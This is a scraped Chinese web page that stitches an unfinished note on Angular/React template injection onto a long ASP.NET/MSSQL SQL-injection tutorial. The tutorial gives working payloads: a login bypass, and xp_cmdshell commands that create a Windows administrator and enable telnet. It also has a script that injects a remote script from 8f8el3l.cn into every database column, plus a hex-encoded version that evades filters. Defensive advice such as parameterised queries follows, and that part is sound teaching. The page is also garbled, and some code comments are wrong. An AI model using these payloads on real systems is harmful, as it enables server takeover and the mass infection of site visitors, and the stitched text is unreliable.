Warning: error_log(/data/www/wwwroot/hmttv.cn/caches/error_log.php): failed to open stream: Permission denied in /data/www/wwwroot/hmttv.cn/phpcms/libs/functions/global.func.php on line 537 Warning: error_log(/data/www/wwwroot/hmttv.cn/caches/error_log.php): failed to open stream: Permission denied in /data/www/wwwroot/hmttv.cn/phpcms/libs/functions/global.func.php on line 537
QL注入是一種安全漏洞,攻擊者利用它來通過操縱應用程序的數(shù)據(jù)庫查詢來執(zhí)行惡意的SQL命令。下面是一些SQL注入的基本概念、技巧和類型概覽,但請注意,這些知識應用于教育和防御目的,不應用于非法活動。
了解這些是為了更好地保護系統(tǒng)免受SQL注入攻擊,強調安全編程和防御措施的重要性。
網(wǎng)頁設計中,模板是一個類似于 HTML 的文件,其中散布著程序指令,這些指令將在運行時由 Web 服務器或瀏覽器中的 JavaScript 代碼解釋。
模板是一個靜態(tài)文件,用于通過插入數(shù)據(jù)庫檢索或者從 HTTP 提取的動態(tài)內容來生成 HTML 。
當模板引擎將動態(tài)內容視為要執(zhí)行的代碼而不是要插入的數(shù)據(jù)時,就會發(fā)生模板注入漏洞。
這會允許攻擊者在服務器或受害者的瀏覽器中執(zhí)行惡意代碼。
Angular 中的模板注入
Angular 應用由一組分層組件組成,這些組件封裝了應用程序邏輯和狀態(tài)信息。每組件在瀏覽器中使用模板呈現(xiàn),該模板描述要輸出的給定狀態(tài)的 HTML元件。React模板將使用"{{"和"}}"分隔符安全的差值狀態(tài),并允許組件以偵聽使用事件處理程序的用戶交互。使用"@Component"裝飾器將模板附加到組件。
可以使用"templateUrl"選項,提供相應模板文件的相對或絕對路徑:
typescript
@Component({
selector: 'app-login',
templateUrl: './login.component.html',
styleUrls: ['./login.component.css']
})
export class LoginComponent {}
模板也可以使用"模板"選項作為內聯(lián)字符串提供:
typescript
@Component({
selector: 'app-login',
template: '<form (ngSubmit)="onSubmit()">' +
'<input type="text" placeholder="Username" [(ngModel)]="username" />' +
'<input type="password" placeholder="Password" [(ngModel)]="password" />' +
'<button type="submit">Login</button>' +
'</form>',
styleUrls: ['./login.component.css']
})
export class LoginComponent {}
當不受信任的輸入傳遞到"模板"選項時,Angular中會發(fā)生模板注入漏洞,當模板字符串由字符串串聯(lián)生成時:
typescript
@Component({
selector: 'app-header',
template: '<h1>' + (window.location.hash || 'Home') + '</h1>'
})
export class HeaderComponent {}
避免以這種方式動態(tài)生成的模板。
相反,將狀態(tài)加載到組件中,并使用 Angular 的內置插值邏輯,可安全地轉義任何不受信任的內容:
typescript
@Component({
selector: 'app-header',
template: '<h1>{{ title }}</h1>'
})
export class HeaderComponent {
title=''
ngOnInit() {
this.title=window.location.hash || 'Home';
}
}
React 中的模板注入大多數(shù) React 開發(fā)人員使用 JSX 以 JavaScript 語法制作原生的 HTML 標簽。
JSX 讓動態(tài)渲染變得容易
對應于從服務器加載的數(shù)據(jù)的頁面元素。
在構建過程中將代碼轉譯為 JavaScript 時,提供所有 React 組件在 JSX 中定義,通常可以免受模板注入攻擊。
然而,React 組件可以直接從運行時使用
React.createElement(...)
函數(shù)的低級 API。
如果使用不受信任的方式調用此方法內容,很容易受到模板注入攻擊:
jsx
const tagName='div'
const attributes={ class: 'page-contents' }
const textContent='Tag contents go here'
/**
* Dynamically create a React component, in this case:
*
* <div class="page-contents">Tag contents go here</div>
*
* If any of the arguments come from an untrusted source an attacker can inject malicious content.
*/
React.createElement(
tagName,
attributes,
textContent
)
如果調用
dangerouslySetInnerHTML
攻擊者還可以控制 HTML 標簽的屬性和內容React 組件上的函數(shù):
jsx
/**
* React allows you to write raw HTML from a string, but discourages it - hence the function name
* "dangerouslySetInnerHTML(...)"! If the inputs to this function are taken from an untrusted source
* you are vulnerable to template injection.
*/
const html={
__html: '<div class="page-contents">Tag contents go here</div>'
}
<div dangerouslySetInnerHTML={html} />
React 中模板注入漏洞的最終來源是href屬性,如果鏈接的href屬性或者import語句是從不受信任的內容動態(tài)生成的,攻擊者可以通過提供帶有javascript:前綴的 URL:
業(yè)開始從事winform到今年轉到 web ,在碼農(nóng)屆已經(jīng)足足混了快接近3年了,但是對安全方面的知識依舊薄弱,事實上是沒機會接觸相關開發(fā)……必須的各種借口。這幾天把sql注入的相關知識整理了下,希望大家多多提意見。
(對于sql注入的攻防,我只用過簡單拼接字符串的注入及參數(shù)化查詢,可以說沒什么好經(jīng)驗,為避免后知后覺地犯下大錯,專門查看大量前輩們的心得,這方面的資料頗多,將其精簡出自己覺得重要的,就成了該文)
下面的程序方案是采用 ASP.NET + MSSQL,其他技術在設置上會有少許不同。
示例程序下載:SQL注入攻防入門詳解_示例
什么是SQL注入(SQL Injection)
所謂SQL注入式攻擊,就是攻擊者把SQL命令插入到Web表單的輸入域或頁面請求的查詢字符串,欺騙服務器執(zhí)行惡意的SQL命令。在某些表單中,用戶輸入的內容直接用來構造(或者影響)動態(tài)SQL命令,或作為存儲過程的輸入?yún)?shù),這類表單特別容易受到SQL注入式攻擊。
嘗嘗SQL注入
1. 一個簡單的登錄頁面
關鍵代碼:(詳細見下載的示例代碼)
private bool NoProtectLogin(string userName, string password)
{
int count=(int)SqlHelper.Instance.ExecuteScalar(string.Format
("SELECT COUNT(*) FROM Login WHERE UserName='{0}' AND Password='{1}'", userName, password));
return count > 0 ? true : false;
}
方法中userName和 password 是沒有經(jīng)過任何處理,直接拿前端傳入的數(shù)據(jù),這樣拼接的SQL會存在注入漏洞。(賬戶:admin 123456)
1) 輸入正常數(shù)據(jù),效果如圖:
合并的SQL為:
SELECT COUNT(*) FROM Login WHERE UserName='admin' AND Password='123456'
2) 輸入注入數(shù)據(jù):
如圖,即用戶名為:用戶名:admin’—,密碼可隨便輸入
合并的SQL為:
SELECT COUNT(*) FROM Login WHERE UserName='admin'-- Password='123'
因為UserName值中輸入了“--”注釋符,后面語句被省略而登錄成功。(常常的手法:前面加上'; ' (分號,用于結束前一條語句),后邊加上'--' (用于注釋后邊的語句))
2. 上面是最簡單的一種SQL注入,常見的注入語句還有:
1) 猜測數(shù)據(jù)庫名,備份數(shù)據(jù)庫
a) 猜測數(shù)據(jù)庫名: and db_name() >0 或系統(tǒng)表master.dbo.sysdatabases
b) 備份數(shù)據(jù)庫:;backup database 數(shù)據(jù)庫名 to disk=‘c:\*.db’;--
或:declare @a sysname;set @a=db_name();backup database @a to disk='你的IP你的共享目錄bak.dat' ,name='test';--
2) 猜解字段名稱
a) 拆解法:and (select count(字段名) from 表名)>0 若“字段名”存在,則返回正常
b) 讀取法:and (select top 1 col_name(object_id('表名'),1) from sysobjects)>0 把col_name(object_id('表名'),1)中的1依次換成2,3,4,5,6…就可以得到所有的字段名稱。
3) 遍歷系統(tǒng)的目錄結構,分析結構并發(fā)現(xiàn)WEB虛擬目錄(服務器上傳木馬)
先創(chuàng)建一個臨時表:;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
a) 利用xp_availablemedia來獲得當前所有驅動器,并存入temp表中
;insert temp exec master.dbo.xp_availablemedia;--
b) 利用xp_subdirs獲得子目錄列表,并存入temp表中
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';--
c) 利用xp_dirtree可以獲得“所有”子目錄的目錄樹結構,并存入temp表中
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- (實驗成功)
d) 利用 bcp 命令將表內容導成文件
即插入木馬文本,然后導出存為文件。比如導出為asp文件,然后通過瀏覽器訪問該文件并執(zhí)行惡意腳本。(使用該命令必須啟動’ xp_cmdshell’)
Exec master..xp_cmdshell N'BCP "select * from SchoolMarket.dbo.GoodsStoreData;" queryout c:/inetpub/wwwroot/runcommand.asp -w -S"localhost" -U"sa" -P"123"'
(注意:語句中使用的是雙引號,另外表名格式為“數(shù)據(jù)庫名.用戶名.表名”)
在sql查詢器中通過語句:Exec master..xp_cmdshell N'BCP’即可查看BCP相關參數(shù),如圖:
4) 查詢當前用戶的數(shù)據(jù)庫權限
MSSQL中一共存在8種權限:sysadmin, dbcreator, diskadmin, processadmin, serveradmin, setupadmin, securityadmin, bulkadmin。
可通過1=(select IS_SRVROLEMEMBER('sysadmin'))得到當前用戶是否具有該權限。
5) 設置新的數(shù)據(jù)庫帳戶(得到MSSQL管理員賬戶)
d) 在數(shù)據(jù)庫內添加一個hax用戶,默認密碼是空的
;exec sp_addlogin'hax';--
e) 給hax設置密碼 (null是舊密碼,password是新密碼,user是用戶名)
;exec master.dbo.sp_password null,password,username;--
f) 將hax添加到sysadmin組
;exec master.dbo.sp_addsrvrolemember 'hax' ,'sysadmin';--
6) xp_cmdshell MSSQL存儲過程(得到 WINDOWS管理員賬戶 )
通過(5)獲取到sysadmin權限的帳戶后,使用查詢分析器連接到數(shù)據(jù)庫,可通過xp_cmdshell運行系統(tǒng)命令行(必須是sysadmin權限),即使用 cmd.exe 工具,可以做什么自己多了解下。
下面我們使用xp_cmdshell來創(chuàng)建一個 Windows 用戶,并開啟遠程登錄服務:
a) 判斷xp_cmdshell擴展存儲過程是否存在
SELECT count(*) FROM master.dbo.sysobjects WHERE xtype='X' AND name='xp_cmdshell'
b) 恢復xp_cmdshell擴展存儲過程
Exec master.dbo.sp_addextendedproc 'xp_cmdshell','e:\inetput\web\xplog70.dll';
開啟后使用xp_cmdshell還會報下面錯誤:
SQL Server 阻止了對組件 'xp_cmdshell' 的過程 'sys.xp_cmdshell' 的訪問,因為此組件已作為此服務器安全配置的一部分而被關閉。系統(tǒng)管理員可以通過使用sp_configure啟用 'xp_cmdshell'。有關啟用'xp_cmdshell' 的詳細信息,請參閱 SQL Server 聯(lián)機叢書中的 "外圍應用配置器"。
通過執(zhí)行下面的語句進行設置:
-- 允許配置高級選項
EXEC sp_configure 'show advanced options', 1
GO
-- 重新配置
RECONFIGURE
GO
-- 啟用xp_cmdshell
EXEC sp_configure 'xp_cmdshell', 0
GO
--重新配置
RECONFIGURE
GO
c) 禁用xp_cmdshell擴展存儲過程
Exec master.dbo.sp_dropextendedproc 'xp_cmdshell';
d) 添加windows用戶:
Exec xp_cmdshell 'net user awen /add';
e) 設置好密碼:
Exec xp_cmdshell 'net user awen password';
f) 提升到管理人員:
Exec xp_cmdshell 'net localgroup administrators awen /add';
g) 開啟telnet服務:
Exec xp_cmdshell 'net start tlntsvr'
7) 沒有xp_cmdshell擴展程序,也可創(chuàng)建Windows帳戶的辦法.
(本人windows7系統(tǒng),測試下面SQL語句木有效果)
declare @shell int ;
execsp_OAcreate 'w script .shell',@shell output ;
execsp_OAmethod @shell,'run',null,'C:\Windows\System32\cmd.exe /c net user awen /add';
execsp_OAmethod @shell,'run',null,'C:\Windows\System32\cmd.exe /c net user awen 123';
execsp_OAmethod @shell,'run',null,'C:\Windows\System32\cmd.exe /c net localgroup administrators awen /add';
在使用的時候會報如下錯:
SQL Server 阻止了對組件 'Ole Automation Procedures' 的過程 'sys.sp_OACreate'、'sys.sp_OAMethod' 的訪問,因為此組件已作為此服務器安全配置的一部分而被關閉。系統(tǒng)管理員可以通過使用sp_configure啟用 'Ole Automation Procedures'。有關啟用 'Ole Automation Procedures' 的詳細信息,請參閱 SQL Server 聯(lián)機叢書中的 "外圍應用配置器"。
解決辦法:
sp_configure 'show advanced options', 1;
GO
RECONFIGURE;
GO
sp_configure 'Ole Automation Procedures', 1;
GO
RECONFIGURE;
GO
好了,這樣別人可以登錄你的服務器了,你怎么看?
8) 客戶端腳本攻擊
攻擊1:(正常輸入)攻擊者通過正常的輸入提交方式將惡意腳本提交到數(shù)據(jù)庫中,當其他用戶瀏覽此內容時就會受到惡意腳本的攻擊。
措施:轉義提交的內容,.NET 中可通過System.Net.WebUtility.HtmlEncode(string) 方法將字符串轉換為HTML編碼的字符串。
攻擊2:(SQL注入)攻擊者通過SQL注入方式將惡意腳本提交到數(shù)據(jù)庫中,直接使用SQL語法UPDATE數(shù)據(jù)庫,為了跳過System.Net.WebUtility.HtmlEncode(string) 轉義,攻擊者會將注入SQL經(jīng)過“HEX編碼”,然后通過exec可以執(zhí)行“動態(tài)”SQL的特性運行腳本”。
參考:
注入:SQL注入案例曝光,請大家提高警惕
恢復:批量清除數(shù)據(jù)庫中被植入的js
示例代碼:(可在示例附帶的數(shù)據(jù)庫測試)
a) 向當前數(shù)據(jù)庫的每個表的每個字段插入一段惡意腳本
1
2
3
4
5
6
7
8
9
10
11
12
13
Declare @T Varchar(255),@C Varchar(255)
Declare Table_Cursor Cursor For
Select A.Name,B.Name
From SysobjectsA,Syscolumns B Where A.Id=B.Id And A.Xtype='u' And (B.Xtype=99 Or B.Xtype=35 Or B.Xtype=231 Or B.Xtype=167)
Open Table_Cursor
Fetch Next From Table_Cursor Into @T,@C
While(@@Fetch_Status=0)
Begin
Exec('update ['+@T+'] Set ['+@C+']=Rtrim(Convert(Varchar(8000),['+@C+']))+''<script src=http://8f8el3l.cn/0.js></script>''')
Fetch Next From Table_Cursor Into @T,@C
End
Close Table_Cursor
DeallocateTable_Cursor
b) 更高級的攻擊,將上面的注入SQL進行“HEX編碼”,從而避免程序的關鍵字檢查、腳本轉義等,通過EXEC執(zhí)行
dEcLaRe @s vArChAr(8000) sEt @s=0x4465636c617265204054205661726368617228323535292c4043205661726368617228323535290d0a4465636c617265205461626c655f437572736f7220437572736f7220466f722053656c65637420412e4e616d652c422e4e616d652046726f6d205379736f626a6563747320412c537973636f6c756d6e73204220576865726520412e49643d422e496420416e6420412e58747970653d27752720416e642028422e58747970653d3939204f7220422e58747970653d3335204f7220422e58747970653d323331204f7220422e58747970653d31363729204f70656e205461626c655f437572736f72204665746368204e6578742046726f6d20205461626c655f437572736f7220496e746f2040542c4043205768696c6528404046657463685f5374617475733d302920426567696e20457865632827757064617465205b272b40542b275d20536574205b272b40432b275d3d527472696d28436f6e7665727428566172636861722838303030292c5b272b40432b275d29292b27273c736372697074207372633d687474703a2f2f386638656c336c2e636e2f302e6a733e3c2f7363726970743e272727294665746368204e6578742046726f6d20205461626c655f437572736f7220496e746f2040542c404320456e6420436c6f7365205461626c655f437572736f72204465616c6c6f63617465205461626c655f437572736f72;
eXeC(@s);--
c) 批次刪除數(shù)據(jù)庫被注入的腳本
declare @delStrnvarchar(500)
set @delStr='<script src=http://8f8el3l.cn/0.js></script>' --要被替換掉字符
setnocount on
declare @tableNamenvarchar(100),@columnNamenvarchar(100),@tbIDint,@iRowint,@iResultint
declare @sqlnvarchar(500)
set @iResult=0
declare cur cursor for
selectname,id from sysobjects where xtype='U'
open cur
fetch next from cur into @tableName,@tbID
while @@fetch_status=0
begin
declare cur1 cursor for
--xtype in (231,167,239,175) 為char,varchar,nchar,nvarchar類型
select name from syscolumns where xtype in (231,167,239,175) and id=@tbID
open cur1
fetch next from cur1 into @columnName
while @@fetch_status=0
begin
set @sql='update [' + @tableName + '] set ['+ @columnName +']=replace(['+@columnName+'],'''+@delStr+''','''') where ['+@columnName+'] like ''%'+@delStr+'%'''
execsp_executesql @sql
set @iRow=@@rowcount
set @iResult=@iResult+@iRow
if @iRow>0
begin
print '表:'+@tableName+',列:'+@columnName+'被更新'+convert(varchar(10),@iRow)+'條記錄;'
end
fetch next from cur1 into @columnName
end
close cur1
deallocate cur1
fetch next from cur into @tableName,@tbID
end
print '數(shù)據(jù)庫共有'+convert(varchar(10),@iResult)+'條記錄被更新!!!'
close cur
deallocate cur
setnocount off
d) 我如何得到“HEX編碼”?
開始不知道HEX是什么東西,后面查了是“十六進制”,網(wǎng)上已經(jīng)給出兩種轉換方式:(注意轉換的時候不要加入十六進制的標示符 ’0x’ )
? 在線轉換 (TRANSLATOR, BINARY),進入……
? C#版的轉換,進入……
9) 對于敏感詞過濾不到位的檢查,我們可以結合函數(shù)構造SQL注入
比如過濾了update,卻沒有過濾declare、exec等關鍵詞,我們可以使用reverse來將倒序的sql進行注入:
declare @A varchar(200);set @A=reverse('''58803303431''=emanresu erehw ''9d4d9c1ac9814f08''=drowssaP tes xxx tadpu');
防止SQL注入
1. 數(shù)據(jù)庫權限控制,只給訪問數(shù)據(jù)庫的web應用功能所需的最低權限帳戶。
如MSSQL中一共存在8種權限:sysadmin, dbcreator, diskadmin, processadmin, serveradmin, setupadmin, securityadmin, bulkadmin。
2. 自定義錯誤信息,首先我們要屏蔽服務器的詳細錯誤信息傳到客戶端。
在 ASP.NET 中,可通過web.config配置文件的<customErrors>節(jié)點設置:
<customErrors defaultRedirect="url" mode="On|Off|RemoteOnly">
<error. . ./>
</customErrors>
更詳細,請進入……
mode:指定是啟用或禁用自定義錯誤,還是僅向遠程客戶端顯示自定義錯誤。
On
指定啟用自定義錯誤。如果未指定defaultRedirect,用戶將看到一般性錯誤。
Off
指定禁用自定義錯誤。這允許顯示標準的詳細錯誤。
RemoteOnly
指定僅向遠程客戶端顯示自定義錯誤并且向本地主機顯示ASP.NET 錯誤。這是默認值。
看下效果圖:
設置為<customErrors mode="On">一般性錯誤:
設置為<customErrors mode="Off">:
3. 把危險的和不必要的存儲過程刪除
xp_:擴展存儲過程的前綴,SQL注入攻擊得手之后,攻擊者往往會通過執(zhí)行xp_cmdshell之類的擴展存儲過程,獲取系統(tǒng)信息,甚至控制、破壞系統(tǒng)。
xp_cmdshell
能執(zhí)行dos命令,通過語句sp_dropextendedproc刪除,
不過依然可以通過sp_addextendedproc來恢復,因此最好刪除或改名xplog70.dll(sql server 2000、windows7)
xpsql70.dll(sqlserer 7.0)
xp_fileexist
用來確定一個文件是否存在
xp_getfiledetails
可以獲得文件詳細資料
xp_dirtree
可以展開你需要了解的目錄,獲得所有目錄深度
Xp_getnetname
可以獲得服務器名稱
Xp_regaddmultistring
Xp_regdeletekey
Xp_regdeletevalue
Xp_regenumvalues
Xp_regread
Xp_regremovemultistring
Xp_regwrite
可以訪問注冊表的存儲過程
Sp_OACreate
Sp_OADestroy
Sp_OAGetErrorInfo
Sp_OAGetProperty
Sp_OAMethod
Sp_OASetProperty
Sp_OAStop
如果你不需要請丟棄OLE自動存儲過程
4. 非參數(shù)化SQL與參數(shù)化SQL
1) 非參數(shù)化(動態(tài)拼接SQL)
a) 檢查客戶端腳本:若使用.net,直接用System.Net.WebUtility.HtmlEncode(string)將輸入值中包含的《HTML特殊轉義字符》轉換掉。
b) 類型檢查:對接收數(shù)據(jù)有明確要求的,在方法內進行類型驗證。如數(shù)值型用int.TryParse(),日期型用DateTime.TryParse() ,只能用英文或數(shù)字等。
c) 長度驗證:要進行必要的注入,其語句也是有長度的。所以如果你原本只允許輸入10字符,那么嚴格控制10個字符長度,一些注入語句就沒辦法進行。
d) 使用枚舉:如果只有有限的幾個值,就用枚舉。
e) 關鍵字過濾:這個門檻比較高,因為各個數(shù)據(jù)庫存在關鍵字,內置函數(shù)的差異,所以對編寫此函數(shù)的功底要求較高。如公司或個人有積累一個比較好的通用過濾函數(shù)還請留言分享下,學習學習,謝謝!
這邊提供一個關鍵字過濾參考方案(MSSQL):
public static bool ValiParms(string parms)
{
if (parms==null)
{
return false;
}
Regex regex=new Regex("sp_", RegexOptions.IgnoreCase);
Regex regex2=new Regex("'", RegexOptions.IgnoreCase);
Regex regex3=new Regex("create ", RegexOptions.IgnoreCase);
Regex regex4=new Regex("drop ", RegexOptions.IgnoreCase);
Regex regex5=new Regex("\"", RegexOptions.IgnoreCase);
Regex regex6=new Regex("exec ", RegexOptions.IgnoreCase);
Regex regex7=new Regex("xp_", RegexOptions.IgnoreCase);
Regex regex8=new Regex("insert ", RegexOptions.IgnoreCase);
Regex regex9=new Regex("delete ", RegexOptions.IgnoreCase);
Regex regex10=new Regex("select ", RegexOptions.IgnoreCase);
Regex regex11=new Regex("update ", RegexOptions.IgnoreCase);
return (regex.IsMatch(parms) || (regex2.IsMatch(parms) || (regex3.IsMatch(parms) || (regex4.IsMatch(parms) || (regex5.IsMatch(parms) || (regex6.IsMatch(parms) || (regex7.IsMatch(parms) || (regex8.IsMatch(parms) || (regex9.IsMatch(parms) || (regex10.IsMatch(parms) || (regex11.IsMatch(parms))))))))))));
}
優(yōu)點:寫法相對簡單,網(wǎng)絡傳輸量相對參數(shù)化拼接SQL小
缺點:
a) 對于關鍵字過濾,常常“顧此失彼”,如漏掉關鍵字,系統(tǒng)函數(shù),對于HEX編碼的SQL語句沒辦法識別等等,并且需要針對各個數(shù)據(jù)庫封裝函數(shù)。
b) 無法滿足需求:用戶本來就想發(fā)表包含這些過濾字符的數(shù)據(jù)。
c) 執(zhí)行拼接的SQL浪費大量緩存空間來存儲只用一次的查詢計劃。服務器的物理內存有限,SQLServer的緩存空間也有限。有限的空間應該被充分利用。
2) 參數(shù)化查詢(Parameterized Query)
a) 檢查客戶端腳本,類型檢查,長度驗證,使用枚舉,明確的關鍵字過濾這些操作也是需要的。他們能盡早檢查出數(shù)據(jù)的有效性。
b) 參數(shù)化查詢原理:在使用參數(shù)化查詢的情況下,數(shù)據(jù)庫服務器不會將參數(shù)的內容視為SQL指令的一部份來處理,而是在數(shù)據(jù)庫完成 SQL 指令的編譯后,才套用參數(shù)運行,因此就算參數(shù)中含有具有損的指令,也不會被數(shù)據(jù)庫所運行。
c) 所以在實際開發(fā)中,入口處的安全檢查是必要的,參數(shù)化查詢應作為最后一道安全防線。
優(yōu)點:
? 防止SQL注入(使單引號、分號、注釋符、xp_擴展函數(shù)、拼接SQL語句、EXEC、SELECT、UPDATE、DELETE等SQL指令無效化)
? 參數(shù)化查詢能強制執(zhí)行類型和長度檢查。
? 在MSSQL中生成并重用查詢計劃,從而提高查詢效率(執(zhí)行一條SQL語句,其生成查詢計劃將消耗大于50%的時間)
缺點:
? 不是所有數(shù)據(jù)庫都支持參數(shù)化查詢。目前Access、SQL Server、MySQL、SQLite、Oracle等常用數(shù)據(jù)庫支持參數(shù)化查詢。
疑問:參數(shù)化如何“批量更新”數(shù)據(jù)庫。
a) 通過在參數(shù)名上增加一個計數(shù)來區(qū)分開多個參數(shù)化語句拼接中的同名參數(shù)。
EG:
StringBuilder sqlBuilder=new StringBuilder(512);
Int count=0;
For(循環(huán))
{
sqlBuilder.AppendFormat(“UPDATE login SET password=@password{0} WHERE username=@userName{0}”,count.ToString());
SqlParameter para=new SqlParamter(){ParameterName=@password+count.ToString()}
……
Count++;
}
b) 通過MSSQL 2008的新特性:表值參數(shù),將C#中的整個表當參數(shù)傳遞給存儲過程,由SQL做邏輯處理。注意C#中參數(shù)設置parameter.SqlDbType=System.Data.SqlDbType.Structured; 詳細請查看……
疑慮:有部份的開發(fā)人員可能會認為使用參數(shù)化查詢,會讓程序更不好維護,或者在實現(xiàn)部份功能上會非常不便,然而,使用參數(shù)化查詢造成的額外開發(fā)成本,通常都遠低于因為SQL注入攻擊漏洞被發(fā)現(xiàn)而遭受攻擊,所造成的重大損失。
另外:想驗證重用查詢計劃的同學,可以使用下面兩段輔助語法
--清空緩存的查詢計劃
DBCC FREEPROCCACHE
GO
--查詢緩存的查詢計劃
SELECT stats.execution_count AS cnt, p.size_in_bytes AS [size], [sql].[text] AS [plan_text]
FROM sys.dm_exec_cached_plans p
OUTER APPLY sys.dm_exec_sql_text (p.plan_handle) sql
JOIN sys.dm_exec_query_stats stats ON stats.plan_handle=p.plan_handle
GO
3) 參數(shù)化查詢示例
效果如圖:
參數(shù)化關鍵代碼:
Private bool ProtectLogin(string userName, string password)
{
SqlParameter[] parameters=new SqlParameter[]
{
new SqlParameter{ParameterName="@UserName",SqlDbType=SqlDbType.NVarChar,Size=10,Value=userName},
new SqlParameter{ParameterName="@Password",SqlDbType=SqlDbType.VarChar,Size=20,Value=password}
};
int count=(int)SqlHelper.Instance.ExecuteScalar
("SELECT COUNT(*) FROM Login WHERE UserName=@UserName AND Password=@password", parameters);
return count > 0 ? true : false;
}
5. 存儲過程
存儲過程(Stored Procedure)是在大型數(shù)據(jù)庫系統(tǒng)中,一組為了完成特定功能的SQL 語句集,經(jīng)編譯后存儲在數(shù)據(jù)庫中,用戶通過指定存儲過程的名字并給出參數(shù)(如果該存儲過程帶有參數(shù))來執(zhí)行它。
優(yōu)點:
a) 安全性高,防止SQL注入并且可設定只有某些用戶才能使用指定存儲過程。
b) 在創(chuàng)建時進行預編譯,后續(xù)的調用不需再重新編譯。
c) 可以降低網(wǎng)絡的通信量。存儲過程方案中用傳遞存儲過程名來代替SQL語句。
缺點:
a) 非應用程序內聯(lián)代碼,調式麻煩。
b) 修改麻煩,因為要不斷的切換開發(fā)工具。(不過也有好的一面,一些易變動的規(guī)則做到存儲過程中,如變動就不需要重新編譯應用程序)
c) 如果在一個程序系統(tǒng)中大量的使用存儲過程,到程序交付使用的時候隨著用戶需求的增加會導致數(shù)據(jù)結構的變化,接著就是系統(tǒng)的相關問題了,最后如果用戶想維護該系統(tǒng)可以說是很難很難(eg:沒有VS的查詢功能)。
演示請下載示例程序,關鍵代碼為:
cmd.CommandText=procName; // 傳遞存儲過程名
cmd.CommandType=CommandType.StoredProcedure; // 標識解析為存儲過程
如果在存儲過程中SQL語法很復雜需要根據(jù)邏輯進行拼接,這時是否還具有放注入的功能?
答:MSSQL中可以通過 EXEC 和sp_executesql動態(tài)執(zhí)行拼接的sql語句,但sp_executesql支持替換 Transact-SQL 字符串中指定的任何參數(shù)值, EXECUTE 語句不支持。所以只有使用sp_executesql方式才能啟到參數(shù)化防止SQL注入。
關鍵代碼:(詳細見示例)
a) sp_executesql
CREATE PROCEDURE PROC_Login_executesql(
@userNamenvarchar(10),
@password nvarchar(10),
@count int OUTPUT
)
AS
BEGIN
DECLARE @s nvarchar(1000);
set @s=N'SELECT @count=COUNT(*) FROM Login WHERE UserName=@userName AND Password=@password';
EXEC sp_executesql @s,N'@userName nvarchar(10),@password nvarchar(10),@count int output',@userName=@userName,@password=@password,@count=@count output
END
b) EXECUTE(注意sql中拼接字符,對于字符參數(shù)需要額外包一層單引號,需要輸入兩個單引號來標識sql中的一個單引號)
CREATE PROCEDURE PROC_Login_EXEC(
@userNamenvarchar(10),
@password varchar(20)
)
AS
BEGIN
DECLARE @s nvarchar(1000);
set @s='SELECT @count=COUNT(*) FROM Login WHERE UserName='''+CAST(@userName AS NVARCHAR(10))+''' AND Password='''+CAST(@password AS VARCHAR(20))+'''';
EXEC('DECLARE @count int;' +@s+'select @count');
END
注入截圖如下:
6. 專業(yè)的SQL注入工具及防毒軟件
情景1
A:“丫的,又中毒了……”
B:“我看看,你這不是裸機在跑嗎?”
電腦上至少也要裝一款殺毒軟件或木馬掃描軟件,這樣可以避免一些常見的侵入。比如開篇提到的SQL創(chuàng)建windows帳戶,就會立馬報出警報。
情景2
A:“終于把網(wǎng)站做好了,太完美了,已經(jīng)檢查過沒有漏洞了!”
A:“網(wǎng)站怎么被黑了,怎么入侵的???”
公司或個人有財力的話還是有必要購買一款專業(yè)SQL注入工具來驗證下自己的網(wǎng)站,這些工具畢竟是專業(yè)的安全人員研發(fā),在安全領域都有自己的獨到之處。SQL注入工具介紹:10個SQL注入工具
7. 額外小知識:LIKE中的通配符
盡管這個不屬于SQL注入,但是其被惡意使用的方式是和SQL注入類似的。
參考:SQL中通配符的使用
%
包含零個或多個字符的任意字符串。
_
任何單個字符。
[]
指定范圍(例如 [a-f])或集合(例如 [abcdef])內的任何單個字符。
[^]
不在指定范圍(例如 [^a - f])或集合(例如 [^abcdef])內的任何單個字符。
在模糊查詢LIKE中,對于輸入數(shù)據(jù)中的通配符必須轉義,否則會造成客戶想查詢包含這些特殊字符的數(shù)據(jù)時,這些特殊字符卻被解析為通配符。不與 LIKE 一同使用的通配符將解釋為常量而非模式。
注意使用通配符的索引性能問題:
a) like的第一個字符是'%'或'_'時,為未知字符不會使用索引, sql會遍歷全表。
b) 若通配符放在已知字符后面,會使用索引。
網(wǎng)上有這樣的說法,不過我在MSSQL中使用 ctrl+L 執(zhí)行語法查看索引使用情況卻都沒有使用索引,可能在別的數(shù)據(jù)庫中會使用到索引吧……
截圖如下:
有兩種將通配符轉義為普通字符的方法:
1) 使用ESCAPE關鍵字定義轉義符(通用)
在模式中,當轉義符置于通配符之前時,該通配符就解釋為普通字符。例如,要搜索在任意位置包含字符串 5% 的字符串,請使用:
WHERE ColumnA LIKE '%5/%%' ESCAPE '/'
2) 在方括號 ([ ]) 中只包含通配符本身,或要搜索破折號 (-) 而不是用它指定搜索范圍,請將破折號指定為方括號內的第一個字符。EG:
符號
含義
LIKE '5[%]'
5%
LIKE '5%'
5 后跟 0 個或多個字符的字符串
LIKE '[_]n'
_n
LIKE '_n'
an, in, on (and so on)
LIKE '[a-cdf]'
a、b、c、d 或 f
LIKE '[-acdf]'
-、a、c、d 或 f
LIKE '[ [ ]'
[
LIKE ']'
] (右括號不需要轉義)
所以,進行過輸入?yún)?shù)的關鍵字過濾后,還需要做下面轉換確保LIKE的正確執(zhí)行
private static string ConvertSqlForLike(string sql)
{
sql=sql.Replace("[", "[[]"); // 這句話一定要在下面兩個語句之前,否則作為轉義符的方括號會被當作數(shù)據(jù)被再次處理
sql=sql.Replace("_", "[_]");
sql=sql.Replace("%", "[%]");
return sql;
}
結束語:感謝你耐心的觀看。恭喜你, SQL安全攻防你已經(jīng)入門了……
參考文獻:
SQL注入天書
(百度百科)SQL注入
擴展資料:
Sql Server 編譯、重編譯與執(zhí)行計劃重用原理
淺析Sql Server參數(shù)化查詢-----驗證了參數(shù)的類型和長度對參數(shù)化查詢影響
Sql Server參數(shù)化查詢之where in和like實現(xiàn)詳解
-----講述6種參數(shù)化實現(xiàn)方案
webshell -----不當小白,你必須認識的專業(yè)術語。一個用于站長管理,入侵者入侵的好工具
SQL注入技術和跨站腳本攻擊的檢測 -----講解使用正則表達式檢測注入
XSS(百度百科) -------惡意攻擊者往Web頁面里插入惡意html代碼,當用戶瀏覽該頁之時,嵌入其中Web里面的html代碼會被執(zhí)行,從而達到惡意用戶的特殊目的。
